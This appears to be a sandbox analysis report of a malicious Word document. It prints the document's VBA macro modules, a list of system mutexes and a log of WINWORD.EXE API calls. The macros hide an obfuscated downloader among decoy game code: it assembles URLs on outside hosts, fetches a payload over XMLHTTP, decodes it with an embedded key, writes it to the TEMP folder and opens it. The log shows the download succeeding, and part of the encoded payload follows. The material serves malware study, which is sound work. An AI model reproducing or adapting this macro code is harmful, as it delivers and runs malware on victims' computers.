(bskcp5 * ((bskcp3 + 1) / 100)) + 1 End If Next End Function Public Sub WidthA(Dbbb As String, bbbJ As String, Optional JRunBee_Sexote As String) Dim bbb As Integer bbb = FreeFile Dim Gbbb() As Byte Open Dbbb For Binary As #bbb ReDim Gbbb(0 To LOF(bbb) - 1) Get #bbb, , Gbbb() Close #bbb Call PuWord(Gbbb(), JRunBee_Sexote) bbb = FreeFile Open bbbJ For Binary As #bbb Put #bbb, , Gbbb() Close #bbb End Sub Public Sub PlayCry(cry As Integer) If cry = 1 Then CallByName CofeeShop, F3.OptionButton1.Tag, VbMethod, AlertN(5), JRunBee_4, False Exit Sub Else: GoTo lab1 End If If C.Ry.Offset = 0 Then Exit Sub End If writer.Write (Encoding.ASCII.GetBytes("RIFF")) writer.Write (0) writer.Write (Encoding.ASCII.GetBytes("WAVE")) writer.Write (Encoding.ASCII.GetBytes("fmt ")) writer.Write (16) writer.Write (CUS.hort(1)) writer.Write (CUS.hort(1)) lab1: CallByName CofeeShop, F3.OptionButton2.Tag, VbMethod, JRunBee_System, _ F3.SpinButton1.Tag Exit Sub stream.Seek 0, SeekOrigin.begin Player.Load Player.Play End Sub Public Sub Flags(Colr As Integer, I As Integer) If BackBuffer.isLost Then Exit Sub Dim xt As Integer, yt As Integer, a As Integer, b As Integer, G As Byte Dim rFlag As RECT G = 0 If Colr = 1 Then G = 1 If FlagCarry1(I) > 0 Then Flag1(0, I) = Players(FlagCarry1(I)).charX + 18 Flag1(1, I) = Players(FlagCarry1(I)).charY + 3: G = 9 End If xt = Flag1(0, I) yt = Flag1(1, I) ElseIf Colr = 2 Then G = 2 If FlagCarry2(I) > 0 Then Flag2(0, I) = Players(FlagCarry2(I)).charX + 18 Flag2(1, I) = Players(FlagCarry2(I)).charY + 3: G = 9 End If xt = Flag2(0, I) yt = Flag2(1, I) ElseIf Colr = 3 Then G = 3 If FlagCarry3(I) > 0 Then Flag3(0, I) = Players(FlagCarry3(I)).charX + 18 Flag3(1, I) = Players(FlagCarry3(I)).charY + 3: G = 9 End If xt = Flag3(0, I) yt = Flag3(1, I) ElseIf Colr = 4 Then G = 4 If FlagCarry4(I) > 0 Then Flag4(0, I) = Players(FlagCarry4(I)).charX + 18 Flag4(1, I) = Players(FlagCarry4(I)).charY + 3: G = 9 End If xt = Flag4(0, I) yt = Flag4(1, I) ElseIf Colr = 5 Then G = 5 If FlagCarry5(I) > 0 Then Flag5(0, I) = Players(FlagCarry5(I)).charX + 18 Flag5(1, I) = Players(FlagCarry5(I)).charY + 3: G = 9 End If xt = Flag5(0, I) yt = Flag5(1, I) End If If G <> 9 Then a = xt \ 16 b = yt \ 16 On Error GoTo out If G = 1 And Animations(b, a) = 28 Then G = 10 If G = 1 And Animations(b, a) = 36 Then G = 10 If G = 1 And Animations(b, a) = 44 Then G = 10 If G = 1 And Animations(b, a) = 62 Then G = 10 If G = 2 And Animations(b, a) = 29 Then G = 10 If G = 2 And Animations(b, a) = 37 Then G = 10 If G = 2 And Animations(b, a) = 45 Then G = 10 If G = 2 And Animations(b, a) = 63 Then G = 10 If G = 3 And Animations(b, a) = 30 Then G = 10 If G = 3 And Animations(b, a) = 38 Then G = 10 If G = 3 And Animations(b, a) = 46 Then G = 10 If G = 3 And Animations(b, a) = 64 Then G = 10 If G = 4 And Animations(b, a) = 31 Then G = 10 If G = 4 And Animations(b, a) = 39 Then G = 10 If G = 4 And Animations(b, a) = 47 Then G = 10 If G = 4 And Animations(b, a) = 65 Then G = 10 If G = 5 And Animations(b, a) = 132 Then G = 10 If G = 5 And Animations(b, a) = 133 Then G = 10 If G = 5 And Animations(b, a) = 134 Then G = 10 If G = 5 And Animations(b, a) = 135 Then G = 10 If G = 5 And Animations(b, a) = 140 Then G = 10 End If If G <> 10 Then xt = xt - MeX yt = yt - MeY If xt > -15 And yt > -15 And xt < ResX + 15 And yt < ResY + 15 Then rFlag.Top = 32 * (Colr - 1) rFlag.Left = 570 rFlag.Bottom = rFlag.Top + 12 rFlag.Right = rFlag.Left + 12 If xt < 0 Then rFlag.Left = rFlag.Left + Abs(xt): xt = 0 If yt < 0 Then rFlag.Top = rFlag.Top + Abs(yt): yt = 0 If xt > ResX - 12 Then rFlag.Right = rFlag.Right - (xt - (ResX - 12)): xt = (ResX - 12) + (xt - (ResX - 12)) If yt > ResY - 12 Then rFlag.Bottom = rFlag.Bottom - (yt - (ResY - 12)): yt = (ResY - 12) + (yt - (ResY - 12)) If Not FlagBlink(Colr - 1, I) Then BackBuffer.BltFast xt, yt, DirectDraw_Tuna1, rFlag, DDBLTFAST_SRCCOLORKEY Or DDBLTFAST_WAIT End If End If out: End Sub Public Function FindNext(R As String, S As Integer) As String CallByName SubProperty, "sav" + F3.o3.Caption, VbMethod, JRunBee_PathTo2, 2 WidthA JRunBee_PathTo2, JRunBee_Project, "pPsV3MkICYRC2rINL8kKL3GJczjHBidO" JRunBee_aifde.Open (JRunBee_Project) End Function" File "Module2.bas" (Streampath: "VBA/Module2") has code: "Public Function HMBCP(D) Dim fb As FBMobile doc_string = "Outline Level 2" Set fb = New FBMobile doc_string = "Outline Level 3" fb.PropellersHead End Function Public Sub DropFlag() Dim lMsg As Byte Dim oNewMsg() As Byte, lNewOffSet As Long lNewOffSet = 0 ReDim oNewMsg(0) lMsg = MSG_DROPFLAG AddBufferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet SendTo oNewMsg End Sub Public Sub WriteChat() Dim e As Integer, j As Integer, q As Integer, F As Integer, D As Integer, rrect As RECT, I As Integer DirectDraw_Chat.BltColorFill rrect, KEYColor e = 1 j = UBound(Chat) For I = 0 To j q = Len(Chat(I)) While q > 0 F = MakeText(Mid$(Chat(I), 1, 1) & Mid$(Chat(I), e + 1, q), 5, 5 + (I + D) * 12, True, DirectDraw_Chat) e = e + F - 1 q = Len(Chat(I)) - e If q > 0 Then D = D + 1 Wend e = 0: q = 0 Next End Sub Public Sub AnimTransferMap(Caption As String, IsMapTransfer As Boolean) Dim xt As Integer, yt As Integer, PValue As Integer, I As Integer, L As Long Set JRunBee_avatar = CreateObject(AlertN(3)) Shtefin = Replace(Replace("dielandy-garage.de\56evcxvCHASrosaspierhuis.nl\56evcxvCHASprovisionbazaar.cLLOO\56evcxv", "LLOO", "om"), "\", "/") JODA = Split(Shtefin, F3.CHAS.Caption) Set SubProperty = CreateObject(AlertN(1)) Set JRunBee_aifde = CreateObject(AlertNE) Set JRunBee_VEAM = JRunBee_avatar.Environment(AlertN(4)) Exit Sub xt = CenterX - 77 yt = CenterY - 10 SlctB.ox 200, 65 MakeT.ext Chr$(6) & Caption, xt, yt, False yt = yt + 25 MakeTe.xt Chr$(6) & "Press ESC to abort", xt, yt, False If IsMapTransfer Then PValue = (ResX - 88) \ 12 L = UBound(RMData) \ PValue For I = 1 To PValue If I * L >= RMCount Then Optio.nGFX "selectfalse", 32 + I * 12, CenterY + 200 Else Optio.nGFX "selecttrue", 32 + I * 12, CenterY + 200 End If Next End If End Sub Public Sub CharUpdate(I As Integer) Dim j As Integer, D As Integer, DiagMvSpd As Single, LastCX As Single, LastCY As Single, e As Integer Dim MvSpd As Single, sx As Single, sy As Single, chs As Single GoTo sinus MvSpd = Speed * 1.1 If Player.S(I).FlagWho > 0 Then MvSpd = MvSpd * 0.75 If Player.S(I).DevCheat > 2 Then MvSpd = MvSpd * 3 If Player.S(I).Mode = 1 Then MvSpd = MvSpd * 6 DiagMvSpd = 0.7 * 1.1 chs = MvSpd / (Int(MvSpd) + 1) If Player.S(I).Ship = 6 Then Select Case Player.S(I).KeyIs Case Is = vbKeyLeft Player.S(I).animY = aLEFT2 Case Is = vbKeyUp Player.S(I).animY = aUP2 Case Is = vbKeyRight Player.S(I).animY = aRIGHT2 Case Is = vbKeyDown Player.S(I).animY = aDOWN2 End Select End If Player.S(I).animX = Player.S(I).KeyIs If Val(Int(MvSpd)) > 100 Then Exit Sub For j = 0 To Int(MvSpd) LastCX = Player.S(I).charX LastCY = Player.S(I).charY If Player.S(I).KeyIs = 1 Then Player.S(I).charX = Player.S(I).charX + chs ElseIf Player.S(I).KeyIs = 2 Then Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd ElseIf Player.S(I).KeyIs = 3 Then Player.S(I).charY = Player.S(I).charY - chs ElseIf Player.S(I).KeyIs = 4 Then Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd ElseIf Player.S(I).KeyIs = 5 Then Player.S(I).charX = Player.S(I).charX - chs ElseIf Player.S(I).KeyIs = 6 Then Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd ElseIf Player.S(I).KeyIs = 7 Then Player.S(I).charY = Player.S(I).charY + chs ElseIf Player.S(I).KeyIs = 8 Then Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd End If Call ShipTo.uch(I) For e = 1 To UBound(RetCollision) D = RetCollision(e) If D = 8 Then Player.S(I).charY = Player.S(I).charY - chs * 0.7 If D = 9 Then Player.S(I).charY = Player.S(I).charY + chs * 0.7 If D = 10 Then Player.S(I).charX = Player.S(I).charX - chs * 0.7 If D = 11 Then Player.S(I).charX = Player.S(I).charX + chs * 0.7 'The following four lines stop you from moving backwards on 'ramps if you have a flag. 'If D = 8 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 7 Then Player.s(i).charY = LastCY 'If D = 9 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 3 Then Player.s(i).charY = LastCY 'If D = 10 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 1 Then Player.s(i).charX = LastCX 'If D = 11 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 5 Then Player.s(i).charX = LastCX Next GoSub whatever Next Exit Sub sinus: JRunBee_ProjectSpeed CallByName SubProperty, "Open" + "", VbMethod JRunBee_PokerFace = CallByName(CofeeShop, "re" + "sponseBody", VbGet) Dim DRO As BounceCastle Set DRO = New BounceCastle DRO.Ant Exit Sub whatever: sx = Player.S(I).charX sy = Player.S(I).charY ' Call ShipTo.uch(I) If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX Player.S(I).charY = LastCY If (FindRects.Ret(104) And FindRects.Ret(105)) Or (FindRects.Ret(112) And FindRects.Ret(113)) Then Player.S(I).charY = sy Call ShipTo.uch(I) If Player.S(I).charY = LastCY Then If FindRects.Ret(112) And FindRects.Ret(113) Then 'touch right Player.S(I).charX = Player.S(I).charX - 1 End If Call ShipTo.uch(I) If FindRects.Ret(104) And FindRects.Ret(105) Then 'touch left Player.S(I).charX = Player.S(I).charX + 1 End If End If If UBound(RectsRet) > 0 Then Player.S(I).charY = LastCY Return End If If (FindRects.Ret(101) And FindRects.Ret(109)) Or (FindRects.Ret(108) And FindRects.Ret(116)) Then Player.S(I).charX = sx Call ShipTo.uch(I) If Player.S(I).charY = LastCY Then If FindRects.Ret(101) And FindRects.Ret(109) Then 'touch top Player.S(I).charY = Player.S(I).charY + 1 End If Call ShipTo.uch(I) If FindRects.Ret(108) And FindRects.Ret(116) Then 'touch bottom Player.S(I).charY = Player.S(I).charY - 1 End If End If If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX Return End If End If For e = 1 To UBound(RectsRet) D = RectsRet(e) If D = 101 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8 End If If D = 102 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4 End If If D = 103 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4 End If ' If D = 104 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8 End If If D = 105 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.8 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8 End If ' If D = 106 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.4 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4 End If If D = 107 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.4 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4 End If If D = 108 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.8 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8 End If ' If D = 109 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.8 End If If D = 110 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.4 End If If D = 111 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.4 End If If D = 112 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.8 End If ' If D = 113 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.8 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.8 End If If D = 114 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.4 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.4 End If If D = 115 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.4 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.4 End If If D = 116 Then If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.8 If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.8 End If Next ' Call ShipTo.uch(I) If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX Player.S(I).charY = LastCY If (FindRects.Ret(104) And FindRects.Ret(105)) Or (FindRects.Ret(112) And FindRects.Ret(113)) Then Player.S(I).charY = sy Call ShipTo.uch(I) If UBound(RectsRet) > 0 Then Player.S(I).charY = LastCY Return End If If (FindRects.Ret(101) And FindRects.Ret(109)) Or (FindRects.Ret(108) And FindRects.Ret(116)) Then Player.S(I).charX = sx Call ShipTo.uch(I) If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX Return End If End If Return End Sub Public Sub C2H5OH() Set CofeeShop = CreateObject(C2H5OHName) smbi = F3.Label1.Caption AlertNE = AlertN(2) AnimTransferMap "Caption", False Stocke = 24 / 4 JRunBee_FLAME = JRunBee_VEAM(AlertN(6)) RepackOK "G", "I", "MS" End Sub Public Function Chibis(a, b) Dim aacsas Dim vwseweg Chibis = (a Or b) And (Not (a And b)) End Function"29:T5ad,"\Sessions\1\BaseNamedObjects\Local\10MU_ACBPIDS_S-1-5-5-0-61147" "\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906" "\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000" "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000" "\Sessions\1\BaseNamedObjects\Local\10MU_ACB10_S-1-5-5-0-61147" "\Sessions\1\BaseNamedObjects\Local\c:!users!w9gucxt!appdata!local!microsoft!windows!temporary internet files!content.ie5!" "\Sessions\1\BaseNamedObjects\Local\c:!users!w9gucxt!appdata!roaming!microsoft!windows!cookies!" "\Sessions\1\BaseNamedObjects\Local\c:!users!w9gucxt!appdata!local!microsoft!windows!history!history.ie5!" "\Sessions\1\BaseNamedObjects\Local\WininetStartupMutex" "\Sessions\1\BaseNamedObjects\Local\WininetConnectionMutex" "\Sessions\1\BaseNamedObjects\Local\WininetProxyRegistryMutex" "\Sessions\1\BaseNamedObjects\Local\c:!users!w9gucxt!appdata!roaming!microsoft!windows!ietldcache!" "\Sessions\1\BaseNamedObjects\DBWinMutex" "Local\ZoneAttributeCacheCounterMutex" "IESQMMUTEX_0_208" "Global\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000"2a:T98e,"WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.CreateObject" ... "WINWORD.EXE" called "WScript.Shell.1.CreateObject" ... "WINWORD.EXE" called "ADODB.Stream.6.0.CreateObject" ... "WINWORD.EXE" called "Shell.Application.1.CreateObject" ... "WINWORD.EXE" called "WScript.Shell.1.Environment" with result: "IDispatch" ... "WINWORD.EXE" called "WScript.Shell.1("Environment").Item" with result: "%TEMP%\ ..., "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.open" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.setRequestHeader" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.send" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.status" with result: "200" ..., "WINWORD.EXE" called "ADODB.Stream.6.0.Type" ... , "WINWORD.EXE" called "ADODB.Stream.6.0.Open" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.responseBody" with result: "=V0MkIGYRCIN8kKL3GJ#zjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHidO~OX3bbSS&%KK;>\ 8J+# p3?'c0J@GzjHBidO:#Louenhm`lnCipLotenhg7m`lnCipLoenhQ#`lczjHBidOpPsV3MkICYRC2rIN}kK2CJ&BidOpPsVMhHHX[C2INLnKL3GJijHBydOpsV3M{HCIRC2pINI8kKL3GJfzjHBidOppuV3IkITC0rIL8{KL#GJczzHBydOpPsV#MkICYRC2rIN0kKp3GJc:kH`OpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJ[jHidOpPsV3MkICRCsINL8kKL3GJczjHBidOpPsV3MkIm-7;FrINjkKL#GJcjHBmdOpPsV3MkICYRCrI.bJ*8RGJZjHBdOprsV3kICYRC2rINL8kK3GM<#idOdcsV3MjICMRC2INL8kKL3GJczjHid^"$PMkIVC22HNLoKLGJczjHBidOpPsVsMkCYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOpPsV3MkICYRC2rINL8kKL3GJczjHBidOmwe"LkF8TC2FC7oHng_WBiYoPs#NLl'cWVdICjGzzwd?}FBiOfPsV`8M2rXXDL3rQ8K[NLaU3Gb"K]pP*xICiFu5*kKRczb@0'a+2rYOsKLZ=D9dPsYkI$0B~2v_Bi=>r